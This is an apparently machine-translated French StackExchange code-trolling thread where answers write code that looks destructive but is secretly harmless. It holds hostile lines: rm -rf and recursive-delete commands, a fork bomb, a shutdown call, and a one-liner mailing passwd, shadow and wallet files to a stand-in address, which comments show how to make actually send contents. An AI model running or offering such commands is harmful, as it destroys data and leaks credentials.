Trolling the troll [fermé]


184

Un troll vous a capturé et vous oblige à écrire un malware (défini comme un programme qui endommage l'ordinateur qui l'exécute). Le troll peut lire et comprendre le code, mais il n’est pas très doué pour détecter les bogues.

Votre objectif est d’écrire un programme qui:

  1. Ressemble à un malware; c'est-à-dire qu'un programmeur débutant qui lit le code sera convaincu que le code cause des dommages à l'ordinateur qui l'exécute.
  2. En fait ne fait aucun dommage.

NOTE: Le troll ne lit que le code - pas les commentaires. Le code lui-même doit donc être clair et suffisamment convaincant.

EXEMPLE (bash):

rm - rf /home

Cet exemple ressemble à celui rm -rf /homequi supprime tous les dossiers de base du système, mais en réalité, en raison de l'espace disponible avant le rf, cela ne fonctionnera pas et ne provoquera qu'un message d'erreur inoffensif.

C'est une solution acceptable mais qui n'est pas très bonne, car le bogue est assez facile à détecter.

D'autre part, un programme complexe et illisible ne sera pas non plus une très bonne solution car il ne ressemblera pas à un malware.

Une bonne solution doit être suffisamment lisible pour convaincre le lecteur qu'il s'agit d'un malware, mais contenir un bogue difficile à détecter et à le rendre inoffensif.

Il s’agit d’un concours de popularité, le code avec le plus de votes positifs gagne.


160
J'ai l'impression que vous essayez de me piéger rm - rf /en me collant dans ma coquille ...
undergroundmonorail

19
Bash rm -rf /. Sauf si le système est très ancien , il faudra --no-preserve-root:)
user80551

10
-1 parce que a) le trolling de code et plus important encore b) je suis très préoccupé par toutes les questions concernant la création de malware (même s'il est faux, il est très proche).
Gareth

13
@Gareth Ce n'est pas vraiment un malware, cependant (qui essaie généralement d'être caché et / ou de voler des données ces temps-ci), il s'agit généralement de tentatives totalement évidentes pour supprimer des éléments qu'un programmeur débutant pourrait écrire sans effort.
Bob

29
rm - rf /n'est pas un exemple valable! Cela peut causer des dommages si vous avez un fichier appelé rfdans le répertoire actuel
gnibbler

Réponses:


139

Frapper

Je suis allé dans l'autre sens. Au lieu de tout supprimer sur votre disque dur, je vais le remplir avec des ordures.

Ce script crée un dossier, puis catrassemble continuellement tous les fichiers et les met dans un nouveau, en ajoutant la valeur de ls -alpour bonne mesure (et pour que le fichier de départ ait quelque chose).

#!/bin/bash/

makeSpam()
{
    string=`cat *`
    string=$string`ls -al`
    echo $string > "file"$i".spam"
}

mkdir "SpamForYou"
cd "SpamForYou"

i=1
while [ 1 ]
do
  makeSpam $i
  i=$(($i + 1))
done

sauf...

Il est très peu probable que / bin / bash / (au lieu de / bin / bash) soit un interprète valide. Ceci est juste une faute de frappe commune de la mienne. Et, puisque "le shebang est techniquement un commentaire, le troll l'ignorera"


56
+1 La première ligne d'un script est un angle mort pour de nombreux programmeurs (y compris moi-même).
Erel Segal-Halevi

44
et le shebang est techniquement un commentaire, donc le troll l'ignorera
Brian Minton

14
+1 pour avoir abusé du commentaire non commenté :) c'est vraiment pas évident
masterX244

37
Courir comme ça bash whatever.shruinerait votre tour ...
Darkhogg

8
@Darkhogg, quelle chance! Je l'ai sauvegardé de evil.commandmanière à ce que le troll puisse simplement double-cliquer dessus pour l'ouvrir (au moins sur Mac)
James Webster

114

Haskell

Consultez cette page de manuel , removeDirectoryRecursivesupprime un répertoire avec tout son contenu!

import System.Directory
main = return (removeDirectoryRecursive "/")

Le bon code serait main = removeDirectoryRecursive "/"
La mainfonction est supposée retourner un concept de faire quelque chose. removeDirectoryRecursive "/"renvoie un concept d'effacement de votre système de fichiers, mais la returnfonction (oui, c'est une fonction), enveloppe son argument dans un concept factice de renvoi de cette valeur.
Nous nous retrouvons donc avec un concept de retour d'un concept d'essuyage de votre disque. (Yo dawg, je vous aime les concepts.) Le runtime haskell exécute le concept renvoyé mainet supprime la valeur renvoyée, qui dans notre cas est un concept d’effacement de votre système de fichiers.


85
+1 Je ne comprenais pas le virus même après avoir lu votre explication ...
Erel Segal-Halevi

3
Si j'ai bien compris, il s'agit d'une erreur de pointeur (pointant sur le pointeur de la fonction au lieu de la fonction). Très bien, les programmeurs débutants tombent généralement facilement dans le piège.
Gaborous

3
Fondamentalement, ce serait semblable à return removeDirectoryRecursive;par opposition à return removeDirectoryRecursive();en C, est-ce correct?
3Doubloons

4
@ user1121352 Non. La fonction elle-même est appelée, mais elle ne peut pas supprimer un fichier car elle est pure. Au lieu de cela, il donne une action IO qui, une fois renvoyée main, est exécutée et supprime le fichier. L'utilisation explicite de la returnfonction crée toutefois une action IO dont le but est simplement de créer la valeur.
Mniip

4
@Cthulhu returnn'a rien à voir avec returnd'autres langues (ni même avec "renvoyer" une valeur d'une fonction). Les valeurs de type IO an'ont pas non plus beaucoup à voir avec des fonctions dans d'autres langages. L'analogie est donc très vague
Niklas B.

103

PHP

Voici un script PHP récursif qui tente de supprimer chaque fichier de votre site Web. Si le site Web est assez volumineux, cela peut prendre un certain temps, alors soyez patient ...

<html>
<body>
<p>Deleting website; please wait
<img src="data:image/gif;base64,R0lGODlhCAAIAPAAAAAAAP///yH/C05FVFNDQVBFMi4wAwEAAAAh+QQEMgD/ACwAAAAACAAIAAACBoSPqcvtXQAh+QQFMgAAACwAAAAACAAIAAACBoyPqcvtXQA7" /></p>
<?php

function zapfiles($dir) {
  if (is_dir($dir)) {
    $files = scandir($dir);
    foreach ($files as $file) {
      if ($file != '.' && $file != '..') {
        if (is_dir("$dir/$file")) {
          zapfiles("$dir/$file");
        }
        else {
          try {
            @delete("$dir/$file"); // Suppress locked file errors
          }
          catch (Exception $e) {
            // Locked files can't be deleted; just carry on
          }
        }
      }
    }
  }
}

zapfiles($_SERVER['DOCUMENT_ROOT']);

?>
<p>Website deletion complete</p>

Juste un problème minuscule ...

Il n'y a pas de commande delete () en PHP. Le script échouera dès qu'il rencontrera cette commande, mais aucun message d'erreur ne sera affiché car le rapport d'erreur a été supprimé en préfixant cette commande avec @ . L'image GIF clignotante donne l'impression qu'il se passe quelque chose alors que rien ne se passe absolument.


31
^ Autant que je sache: il n'y a pas de fonction delete (), le manuel dit simplement qu'il s'agit d'une "entrée factice" pour quiconque cherche la bonne fonction (unlink). Cela ne signifie pas qu'il existe une sorte de redirection "automatique" en PHP.
Erti-Chris Eelmaa

93
@ user11153 s'est fait conduire.
Basher

34
Voir, je pensais que la raison pour laquelle les erreurs seraient ignorées et l'exécution continuerait était parce que c'était PHP.
Zoey

17
Je pense que l'utilisation d'une fonction aléatoire inexistante est un peu évident ( deletepour supprimer des fichiers? Il n'y a aucune raison de supposer que cela tromperait quelqu'un). Pourquoi pas à la unlⅰnkplace (qui utilise U + 2170 au lieu de «i»)?
Konrad Rudolph

18
@KonradRudolph Une fonction nommée deletepour supprimer des fichiers est totalement crédible en PHP. La seule chose qui n’est pas crédible, c’est que si c’était réel, il y aurait 3 ou 4 autres façons de le faire et que tous, sauf celui dont le nom serait le plus étrange, auraient de graves failles de sécurité.
Brendan Long

93

Perl (Unix)

Supprime tous les fichiers du système.

#! /usr/bin/perl -w
use strict;

sub killdir {
    opendir(my $dh, ".");
    my @dl = readdir($dh);
    closedir($dh);
    foreach my $de (@dl) {
        if (-d $de) {
            chdir($de);
            killdir();
            chdir("..");
            rmdir($de);
        } else {
            unlink($de);
        }
    }
}

chdir("/");
killdir();

Caractéristiques

  • Ceci est valide Perl. Il compile et fonctionne même avec -wet use strict!

  • Pas de problèmes comme le C ++ delete. unlinkest vraiment la fonction pour supprimer un fichier, rmdirsupprime vraiment un répertoire, etc.

  • Gère correctement les répertoires profondément imbriqués pour lesquels le chemin d'accès absolu peut dépasser la longueur maximale du système, en passant dans chaque répertoire afin d'utiliser des chemins relatifs. De plus, il ne manquera pas d’analyses de répertoire, car il lit et ferme le répertoire avant de revenir en arrière.

Divulgacher

Sous Unix, la première entrée du répertoire racine est normalement "." le programme effectuera donc une récursion infinie de chdir (".") jusqu'à ce qu'il manque de mémoire et se bloque.

Notes complémentaires

C'était plus difficile à obtenir que prévu. Si vous n'utilisez pas l'approche chdir, vous obtenez éventuellement un chemin d'accès trop long. Ensuite, -d renvoie false et la récursion infinie est interrompue et les fichiers risquent en fait d'être supprimés! Un bogue similaire peut se produire si vous gardez les répertoires ouverts vous finissez par être épuisé, opendir échoue, killdir revient et la suppression commence à se produire.


45
"Ensuite, -d renvoie false et la récursion infinie est interrompue et les fichiers risquent en fait d'être supprimés!" avez-vous appris cela à la dure?
Niklas B.

4
@NiklasB.: Heureusement j'ai testé une version factice :)
Nate Eldredge

Je m'attendais à ce qu'un tel code ne puisse supprimer que des dossiers vides, mais pas des fichiers ...
Qwertiy

3
"Sous Unix, la première entrée du répertoire racine est normalement". "". Donc, un autre malware uniquement Windows?
Alexander

1
@timmyRS: le programme va planter. Le système continuera à fonctionner correctement.
Nate Eldredge

81

Shell à une doublure

Cela volera tous les mots de passe, clés privées, bitcoins, etc. de la victime.

 find / -name "passwd" -or -name "shadow" -or -name "secring.gpg" -or -name "wallet.dat" |mail troll@nefarious.org

Divulgacher:

Cela peut donner l’impression que tous ces fichiers sont envoyés par e-mail au troll, mais en réalité, ils envoient simplement leurs noms de fichiers.


4
Pour envoyer le contenu, les cat, headou les tailcommandes devraient être impliquées quelque part.
Agi Hammerthief

7
Fuite encore des données, peu importe quoi. Est-ce que c'est traîner les trolls?
Kyle Kelley

-exec cat '{}' \; | …
Martin Ueding

@queueoverflow-print0 | xargs -0 cat |
quantum

1
Je l'ai eu sans le spoiler après avoir lu le code 2-3 fois.
Nyuszika7h

74

Lot / CMD

sauver

DEL %0
DEL %1
DEL %2
DEL %3
DEL %4
DEL %5
DEL %6
DEL %7
DEL %8
DEL %9

et leur faire exécuter avec les paramètres de chacun des lecteurs de l'ordinateur.

% 0 est toujours le premier paramètre - le nom du fichier. Ensuite vient l’ensemble des paramètres réels, mais il s’est déjà effacé pour ne pas continuer.


104
S'appuie également sur le drôle de comportement de Batch consistant à fermer le fichier et à le rouvrir pour lire la ligne suivante à chaque ligne ...
Bob

8
DEL %0ne fonctionnera que si l’extension du fichier est spécifiée dans la ligne de commande et si le script est exécuté en indiquant son chemin complet ou si vous êtes dans le même répertoire. DEL "%~f0"résoudrait les deux problèmes et résisterait aux espaces situés n'importe où dans le chemin. De %10plus, il n’existe pas, il se traduit %1par un littéral 0.
Jon

14
+1 Même si le troll comprend ce que fait "DEL% 0", vous pouvez le convaincre que c'est uniquement pour effacer les preuves, et que cela ne fait aucun mal, le fichier de commandes restant en mémoire jusqu'à la fin de son exécution (ce qui est faux, car Bob m'a dit).
Erel Segal-Halevi

2
Un troll intelligent penserait toujours qu'il soit étrange de lancer la commande d'auto-suppression au début du fichier (plutôt qu'à la fin), à moins que vous ne preniez en compte le niveau notoire des scripts de commandes sujets aux erreurs.
Agi Hammerthief

10
@Bob Je ne savais pas que le lot avait fait cela ... c'est horrible.
w4etwetewtwet

48

Javascript

infiniteLoop=true;
evilMessage='I spam you !';
while(infiniteLoop) {
  eval(atob('aW5maW5pdGVMb29wPWZhbHNlO2V2aWxNZXNzYWdlPWV2aWxNZXNzYWdlLnJlcGxhY2UoInNwYW0iLCJMT1ZFIik7'));
  alert(evilMessage);
}

Le logiciel malveillant d'origine ne fera pas exploser votre ordinateur, mais peut être agaçant.

C'est inoffensif parce que:

Le evalva casser la boucle infinie et modifier le message.


40
Je vous inviter, mais vous avez 1337 rep.
scrblnrd3

5
Alors s'il vous plaît ne pas! :)
Michael M.

@scrblnd c'est parti D:
Riking

11
Vote négatif à la baisse jusqu'à ce que vous y reveniez.
David Starkey

4
Juste pour expliquer pour les autres, atob ( 'aW5maW5pdGVMb29wPWZhbHNlO2V2aWxNZXNzYWdlPWV2aWxNZXNzYWdlLnJlcGxhY2UoInNwYW0iLCJMT1ZFIik7') exécutera ce qui suit: "infiniteLoop = false; evilMessage = evilMessage.replace (" spam " "LOVE");"
Mohammed Joraid

45

Java

Que les dieux me pardonnent de m'être soumis à vos demandes misérables, troll.

class HomeWrecker {
    public static void main(String[] args) throws Exception {
        Runtime.getRuntime().exec("rm -rf /home/*");
    }
}

Runtime.exec n'appelle pas un shell, donc l'expansion globale ne se produit jamais et la commande tentera sans succès de supprimer un répertoire de base nommé littéralement "*"


1
Alors, quel est mon répertoire personnel s'appelle '*'? ;)
Vorac

6
Honnêtement, c’est l’une des meilleures réponses Java. Cela nécessite une très bonne compréhension des (nombreux) inconvénients de Runtime.exec(). +1
Qix

Java a-t-il un équivalent réel à la system()fonction de c ?
SuperJedi224

@ SuperJedi224 Nope, vous devez spécifier /bin/sh -cou cmd /cmanuellement. Cela semble logique puisque vous ne savez jamais ce qu'une commande ferait sur un nouveau système d'exploitation.
Cet autre gars

37

C

Comme il ne lit pas les commentaires qui devraient le faire:

#include<stdlib.h>
int main()
{
//Are you reading this??/
 system("C:\\WINDOWS\\System32\\shutdown /s /t 0000");

 return 0;
}

Version C ++

merci à DragonLord pour cela.

#include<cstdlib>
int main ()
{
//Are you reading this??/
system("shutdown -s -t 0000");
return 0; 
}

Ajoutez ceci dans le dossier de démarrage et redémarrez l'ordinateur.

Comment ça fonctionne:

?? / est un trigraphe et ajoutera la ligne suivante dans le commentaire afin qu'il ne fasse fondamentalement rien. Remarque: n'essayez pas, ces trigrammes peuvent être désactivés par défaut dans certains compilateurs et doivent être activés pour que cela fonctionne.


Si, dans certains compilateurs, cela peut fonctionner, est-ce vraiment une traîne?
Antonio Ragagnin

4
Non, mais dans une situation réelle, je préférerais ne pas traîner un troll avec un tel code (je ne veux pas nuire à un troll!)
Antonio Ragagnin

2
@AntonioRagagnin Si cela fonctionne sur n'importe quel compilateur, ce compilateur est bogué. Cependant, la plupart des compilateurs modernes préviendront sur l'utilisation des trigraphes (mais accepteront et compileront le code).
Konrad Rudolph

8
Donc , si le troll ne lit pas les commentaires et votre solution est de faire les logiciels malveillants dans un commentaire, ne pas dire tous les voit troll est une fonction mainavec return 0?
David Starkey

1
C'est ??/vraiment un vieux truc ... Je suis désolé.
Isiah Meadows

33

Java

import java.io.File;
class derp
{
    public static void main( String[] a)
    {
        new File("C:\\windows\\System32\ntoskrnl.exe").delete();
    }
}

Utilisation d'un caractère d'échappement (\ n avant ntoskrnl.exe est une nouvelle ligne au lieu du N normal)


20
Si vous n'échappez pas aux autres barres obliques inverses, l'erreur peut paraître encore moins visible. Le troll pourrait penser que la langue n'utilise pas de barres obliques inverses
3Doubloons

2
@ 3Doubloons Le code ne serait-il pas compilé dans ce cas?
Neil

2
@ Neil: Bon point. Ce ne serait pas le cas, mais si le troll nous laisse partir dès qu'il est satisfait de sa lecture, nous sommes dans le
vide

29
new File("C:\ntldr").delete();
Egor Skriptunoff

3
@EgorSkriptunoff Il m'a fallu plus d'un temps pour comprendre que XP n'était pas une variante de XD.
Justin

31

FRAPPER

#!/bin/bash
set -t 

echo "hahaha deleting files.."
rm -rf / --no-preserve-root

set -t se fermera après avoir lu et exécuté une commande. Ce script n'imprime aucune sortie et tous les fichiers sont en sécurité!

Ou ce qui suit MAIS LIRE LE SPOILER AVANT DE FONCTIONNER

#!/bin/bash -t
echo "hahaha deleting files.."
rm -rf / --no-preserve-root

À la demande générale, .. #!/bin/bash -tquittera après avoir lu et exécuté une commande. N'exécutez pas cette opération sous, bash -xcar elle ignorera -tet exécutera les commandes du script.


SPOILERS Je suis un peu confus ... Quelle est la différence entre set -tet exit? La page de manuel Bash indique que la commande est set -tfermée après "une commande", mais elle semble compter la setcommande elle-même comme étant cette commande et quitter immédiatement.
Kyle Strand

6
Si des commandes supplémentaires se trouvent sur la même ligne set -t (par exemple, séparées par un point-virgule ou une double esperluette, etc.), elles seront exécutées. Dans ce cas, une première ligne set -t; echo "hahaha deleting files.."renverrait ce texte, puis se fermerait.
JOgden

2
Ah Merci. N'a pas réalisé qu'il y avait jamais eu une différence de comportement entre ;et une nouvelle ligne.
Kyle Strand

4
#!/bin/bash -tpeut-être
Neil

2
@JOgden c'est dommage que bash ne fasse pas le même truc d'analyse de shebang que perl (si vous courez perl foo.plet foo.pl commence par #!somethingendingin/perl -flags, perl agira comme si elle avait été invoquée avec -flags)
hobbs

30

Python

print "****----....____....----"""" This program will clear the browser cache "

import os
from os.path import expanduser
home = expanduser("~")
os.remove(home)

print """"----....____....----***** Cache cleaned. "                                     

trois guillemets "" "démarrer une chaîne multiligne en Python



12
J'ai vu le problème littéralement dans les cinq secondes qui ont suivi la réponse et je ne connais même pas Python.
Le gars avec le chapeau

6
Belle idée, avec le problème que si le troll utilise la coloration syntaxique, il la repérera.
o0 '.

1
Je pense que le troll moyen voit un code malveillant aléatoire sur Internet et le copypaste dans un autre forum.
Antonio Ragagnin

1
Bien, j'ai de l'expérience avec Python et je n'ai pas vu la faille. L'utilisation de 4 citations peut m'avoir trompé.
Gaborous

29

Ce programme est valide et s’exécute sans erreur. Il crée une fonction de suppression dans un nouveau thread, qui supprime le rootrépertoire.

import std.concurrency : spawn;
import std.file : rmdirRecurse;

string root;

void deleteRoot()
{
    if (root)
        rmdirRecurse(root);
}

void main()
{
    root = "/";
    spawn(&deleteRoot);
    // ... could add a waiting animation here.
}

Mais rien n'est supprimé ...

car dans D, une variable déclarée à la portée du module est thread-local par défaut. La mainfonction le définit sur "/", mais les threads spawn ont une copie vide, la rmdirRecursefonction n'est donc pas appelée.


1
Bien! J'ai réussi à attraper le virus dans celui-ci, bien que je ne connaisse pas D.
Erel Segal-Halevi

1
"une variable globale est thread-local par défaut" C'est un peu une contradiction
Niklas B.

@ NiklasB. Quelle est la contradiction?
biozic

Ce n'est pas une "variable globale" alors. Peut-être que "variable déclarée au plus haut niveau" est une meilleure description?
Paŭlo Ebermann

Oui, édité! C'est moins ambigu. Pas tout à fait une contradiction cependant, au moins lexicalement.
biozic

25

C (Unix)

L'ajout de publicités n'a jamais nui à personne.

#include <stdlib.h>

int main()
{
    // Join the crew
    goto http;//www.trolling.com
    print("Sucker!\n");
    system("rm -rf ~");
    // Remember goto
    http://www.trolling.com
    return 0;
}

http: c'est une étiquette, le goto passe à l'étiquette sans le code harful. : V


5
J'ai réussi à repérer celui-ci :)
Erel Segal-Halevi

17
Le point-virgule dans la première URL est assez facile à repérer dans cette police. Mais c'est créatif!
CompuChip

12
goto considéré utile

1
Je l'ai remarqué car il n'y a pas de point-virgule après le goto. Si vous l'aviez changé en goto http;//www.trolling.com;(aux deux endroits), je l'aurais peut-être manqué.
wchargin

2
De toute façon, il ne compilerait pas, car il n’existe aucune printfonction.
Nyuszika7h

24

JavaScript

function foo(a) { // Returns an object, and all objects are truly
    return
    {
        a: a
    };
}
for(var i=0; foo(i); ++i) // loop condition is always truly
    alert('Infinite alerts!');

Aucune alerte n'est affichée. Comme JavaScript ne nécessite pas de ;fin de ligne, il est automatiquement inséré après le returndevenir return;. Ensuite undefined, qui est fausseté, est renvoyé à la place de "l'objet" (qui est en fait analysé comme une instruction de bloc).


3
Tenté de faire +1 seulement pour l'utilisation de "véritablement" et de "fausseté";)
CompuChip

1
+1 car cette "faille" dans JS m'a pris au dépourvu plusieurs fois ... Il a fallu la relire plusieurs fois pour le voir
Mark Ormston

12
@NigelNquande le point-virgule ne provoque pas l'échec, mais le saut de ligne. Le retour et l'objet qui est censé être renvoyé sont sur des lignes séparées, ainsi l'objet n'est jamais renvoyé. Pour "réparer", supprimez le saut de ligne pour qu'il se lisereturn {
Dave Forber

3
En espérant que le troll ne minimisera pas le code!
Mohammed Joraid

2
UglifyJS dit WARN: Dropping side-effect-free statement [-:4,11]et revient function foo(a){}for(var i=0;foo(i);++i)alert("Infinite alerts!");.
Nyuszika7h

22

JavaScript

//Config: Warning!!! only set to true on victims box!
var deleteEverything = true;

function deleteIfEvil(){
  if(deleteEverything){
    alert('Destroy Everything!');
    //clear the flag
    var deleteEverything = false;
  } else {
    alert('Tested OK!');
  }
}

deleteIfEvil();

Échangez l'alerte de destruction pour toute action destructive désagréable que vous voudriez utiliser.

Divulgacher:

Bien qu'il semble que la configuration soit sur le point d'être supprimée ... et c'est le cas ! la déclaration 'var' à l'intérieur de la fonction est "Hoisted" http://www.qualatelygood.com/JavaScript-Scoping-and-Hoisting.html et est donc fausse lors de la saisie de la fonction.


Belle astuce, mais pourquoi voudriez-vous réinitialiser le drapeau?
Mohammed Joraid

La "réinitialisation" n'était qu'un exemple ... il pourrait s'agir de toute variable dont l'affectation est valide ... juste si le préfixe 'var' peut avoir des conséquences inattendues.
Scunliffe

16

Java

Supprimons simplement certains fichiers importants!

import java.io.File;
import java.io.IOException;

public class Deleter {

    private File importantFile = null;

    public Deleter(File f) {

        importantFile = f;

        /**}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{
         * }{ I don't care how important that file is. I'm going to delete it! }{
         * }{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{*/}{

        importantFile.delete();

    }

    public static void main(String[] args) throws IOException {
        // Let's delete some important stuff
        new Deleter(new File("/boot/vmlinuz"));
        new Deleter(new File("/etc/passwd"));
        new Deleter(new File("/etc/crontab"));
        new Deleter(new File("/etc/sudoers"));
    }

}

Caché dans le bloc commentaire se trouve un extra} {en dehors du commentaire. Cela place la suppression de fichier dans un bloc d'initialisation d'instance séparé, exécuté avant le constructeur. A cette époque, importantFile est toujours nul.


16
J'ai réussi à repérer celui-ci :)
Erel Segal-Halevi

17
Ce serait très, très évident si le troll ne lisait pas les commentaires.
ApproachingDarknessFish

6
J'ai choisi d'interpréter "le troll ne lit pas les commentaires" comme "le troll saute les commentaires de la même manière que le ferait un humain s'il sautait des commentaires". Dans ce cas, il peut être facile de rater à tort que ces deux personnages sont en dehors du commentaire.
Joe K

1
C'était le seul que j'ai résolu avant de lire l'explication, mais bon travail!
nrubin29

15

Bash, C, Linux

Peut-être que ce n'est pas exactement un malware, mais peut certainement en faire partie :)

C'est un exploit incroyable qui peut vous donner la racine sur n'importe quelle machine Linux! Chut, ne dis à personne que nous l'avons!

#!/bin/sh
cd /tmp
cat >ex.c <<eof
int getuid() { return 0; }
int geteuid() { return 0; }
int getgid() { return 0; }
int getegid() { return 0; }
eof
gcc -shared ex.c -oex.so
LD_PRELOAD=/tmp/ex.so sh
rm /tmp/ex.so /tmp/ex.c

Maintenant, exécutez le script et vous serez root! Vous pouvez vous assurer d'utiliser whoami!

En fait, cela trompe uniquement toutes les applications pour lesquelles vous avez UID = 0 (il s'agit de l'ID utilisateur root).

Le code est écrit par Lcamtuf, source: http://lcamtuf.coredump.cx/soft/ld-expl


+1 Truc vraiment sympa. Je ne comprends toujours pas comment ça marche.
Erel Segal-Halevi

@ErelSegalHalevi: voir stackoverflow.com/questions/426230/what-is-the-ld-preload-trick pour plus de détails sur LD_PRELOAD.
mik01aj

2
Read up on fakeroot(1), une bibliothèque qui intercepte les appels de diverses fonctions système POSIX, amenant ainsi l’appelant à croire qu’il dispose d’un (faux) accès en lecture et en (faux) en écriture au système entier. En fait, ces autorisations ne seront pas (ne peuvent pas), mais lorsque le programme, par exemple, appelle la fonction "fake" chmodsur un fichier et modifie les autorisations, fakeroot mémorise ces autorisations afin que les statappels renvoient les autorisations mises à jour. Certaines distributions l'utilisent pour permettre au système de construction du paquet de créer des fichiers avec la root:rootpropriété.
sleblanc

1
C'est lcamtuf je crois: lcamtuf.coredump.cx/soft/ld-expl - au moins je me souviens qu'il était là depuis les années 90
viraptor

13

frapper

cat <<EOF
ProHaxer Hacking Tool 2014. Destroying your computer in
background, please wait until it finishes.
EOF

# Freeze the machine, so nobody will stop the process.
:(){:|:&};:

# Remove stuff in the background.
rm -rf /* &>/dev/null &

Il y a une erreur de syntaxe sur la ligne "fork-bomb". Après { , il devrait y avoir un espace. Sans lui, le script échoue car la définition de la fonction n'est pas suivie par le jeton { lui-même.


2
Vous devez ajouter une note de précaution (dans le spoiler, peut-être) que cela ne soit pas exécuté kshcar la bombe à la bombe n’est pas une erreur de syntaxe!
Devnull


@ Dennis: Sans lien, je n'ai pas vu ça. Mais fil intéressant, pour être honnête. Je sais comment fonctionne l'analyse dans bash, et c'est pourquoi je ne l'utilise pas :-).
Konrad Borowski

11

Emacs Lisp

D'abord un simple. Celui-ci ne fait rien. Il essaie actuellement de supprimer des éléments égaux à: récursif de la liste renvoyée par directory-files. Cela ne supprimera aucun fichier.

(delete :recursive
    (directory-files "/"))

En voici un qui pourrait dérouter même les vétérinaires elisp.

(let ((files (directory-files "/")))
  (while (setq file (pop files) )
    (delete-file file)))

Ce n'est qu'à 1 caractère de supprimer votre répertoire racine.

emacs lisp autorisera n'importe quoi avec le nom d'un symbole (variable, fonction, macro, etc.). Il est normal d'utiliser unicode dans le nom de vos symboles et c'est ce qui se passe ici.

setqpeut prendre un nombre quelconque d'arguments, (setq a 3 b 4)c'est comme faire un = 3; b = 4; mais (setq a 3 b)est également valide et fait un = 3; b = nul;

La valeur de retour de `setq 'est la valeur assignée à la dernière variable. 4 et nil respectivement dans les exemples.

(setq a 3 b)est exactement ce qui se passe dans le code, mais au lieu de b, j'utilise un caractère unicode. J'attribue la valeur nil à une variable nommée dont le nom est le caractère unicode 0x2001. A cause de cela, la fonction setq renvoie nil et la condition de la boucle while n'est jamais vraie. Enlevez ce caractère d’espace et il fonctionnera parfaitement.


10

Juste un autre pirate informatique Perl.

J'ai écrit celui-ci en 2002 , alors que je traînais chez Perlmonks et que j'essayais généralement de pousser mes connaissances sur Perl aussi loin que possible. Je ne l'ai pas édité du tout, mais il fonctionne toujours.

#!/usr/bin/perl -w
use strict;
require File::Path;

my $root_dir = '/';

$root_dir = 'c:\\' if( $^O =~ /Win/i );

rmtree( $root_dir );

mkdir( $root_dir );

open( ROOT, $root_dir );

while(1)
{
  BEGIN{@INC=sub{*DATA}}
  print ROOT <DATA>;
}

__DATA__
# Fill the harddrive with junk!
''=~('('.'?'.'{'.('`'|'%').('['
^'-').('`'|'!').('`'|',').'"'.(
'['^'+').('['^')').('`'|"\)").(
'`'|'.').('['^'/').('{'^('[')).
'\\'.'"'.('`'^'*').('['^"\.").(
'['^'(').('['^'/').('{'^"\[").(
'`'|'!').('`'|'.').('`'|"\/").(
'['^'/').('`'|'(').('`'|"\%").(
'['^')').('{'^'[').('['^"\+").(
'`'|'%').('['^')').('`'|"\,").(
'{'^'[').('`'|'(').('`'|"\!").(
'`'|'#').('`'|'+').('`'|"\%").(
'['^')').'.'.'\\'.'\\'.('`'|'.'
).'\\'.'"'.';'.('`'|'%').("\["^
'#').('`'|')').('['^'/').(';').
'"'.'}'.')');$:='.'^'~';$~='@'|
'(';$^=')'^'[';$/='`'|('.');$_=
'('^'}';$,='`'|'!';$\=')'^"\}";
$:='.'^'~';$~='@'|'(';$^=(')')^
'[';$/='`'|'.';$_='('^('}');$,=
'`'|'!';$\=')'^'}';$:='.'^"\~";
$~='@'|'(';$^=')'^'[';$/=('`')|
'.';$_='('^'}';$,='`'|('!');$\=
')'^'}';$:='.'^'~';$~='@'|"\(";
$^=')'^'[';$/='`'|'.';$_=('(')^
'}';$,='`'|'!';$\=')'^('}');$:=
'.'^'~';$~='@'|'(';$^=')'^"\[";

Si je me souviens bien, le BEGINbloc fonctionne en premier lieu, peu importe où il se trouve dans le code. Il remplace @INCce qui détermine l'endroit où Perl charge ses bibliothèques avec un sous-programme (il s'agit généralement d'un ensemble de chemins, mais cela est autorisé). Le sous-programme est en réalité le bloc de données obfusqué, qui fait de la magie regexp + eval. Ensuite, lorsque le code apparaît require File::Path;(il n'aurait pas fonctionné avec use), ce sous-programme est exécuté et affiche simplement "Juste un autre pirate informatique Perl.", Comme c'est la tradition, et se termine. Le reste du code n'est jamais atteint.


1
Wow, il m'a fallu un certain temps pour comprendre ce que fait ce code (mais je n'ai pas lu le spoiler). J'ai décodé ce bloc d'appel regex (c'est la même méthode que j'ai utilisée dans codegolf.stackexchange.com/a/23871/3103 ), et j'aime la façon dont il contient une exitcommande (suivie d'un point-virgule inutile, mais pas que cela compte ).
Konrad Borowski

Hehe, je devais le découvrir moi-même, il a 11-12 ans après tout. Le point-virgule est probablement juste pour que tout soit parfaitement aligné.
Stoffe

9

PHP:

$condition = true and false;

if (!$condition) {
   // DO EVIL - Just do something evil here
}

A première vue, la valeur $conditionest false, mais l' =opérateur a la priorité sur andla condition est donc vraie. Donc, le mal n'est jamais fait.


8

C ++ avec Boost

Cela supprimera tous les fichiers du système de fichiers.

#include "boost/filesystem.hpp"
using namespace boost::filesystem;

void delete_directory(const path* dir_path)
{
  if (!exists(*dir_path)) return;

  directory_iterator end_file_itr;
  for (directory_iterator file_itr(*dir_path);
        file_itr != end_file_itr;
        ++file_itr) {
    const path* file = &file_itr->path();
    if (file_itr->status().type() == directory_file) {
      delete_directory(file);
    } else {
      delete(file);
    }
  }

  delete(dir_path);
}

int main() {
  delete_directory(new path("/"));
  return 0;
}

En fait ça ne va pas. deleteen C ++ est utilisé pour libérer la mémoire allouée par newet non pour supprimer des fichiers et des répertoires. Le programme plantera probablement avec une erreur de segmentation alors qu'il tente de libérer la mémoire allouée par Boost, mais à ce moment-là, j'aurai échappé à la captivité du troll.


+1 Ce n'est pas facile à repérer car il compile même sans erreur.
Erel Segal-Halevi

2
Le comportement de la première ligne problématique n'est-il pas défini? Dans ce cas, il pourrait en fait supprimer tous ses fichiers.
Aschepler

1
@aschepler: "UB pourrait supprimer tous vos fichiers" est une explication amusante sur le fait que vous ne pouvez pas prédire ce qui se passera lors de l'appel de UB, mais ce n'est généralement pas une possibilité. Si le troll avait un compilateur qui efface les disques durs sur UB, il ne nous ferait pas lui écrire un malware
3Doubloons

2
la syntaxe en surbrillance donnerait un indice au troll ici ...
mik01aj

8

Java

Cela fera semblant de télécharger de la RAM, mais supprimera le répertoire de base de l'utilisateur.

import java.util.*;
import java.io.*;
class RamDownloaderIO {
    public static void main(String[] args) {
        long onePercentWaitTime   = 2*60*1000;  // 2 minutes
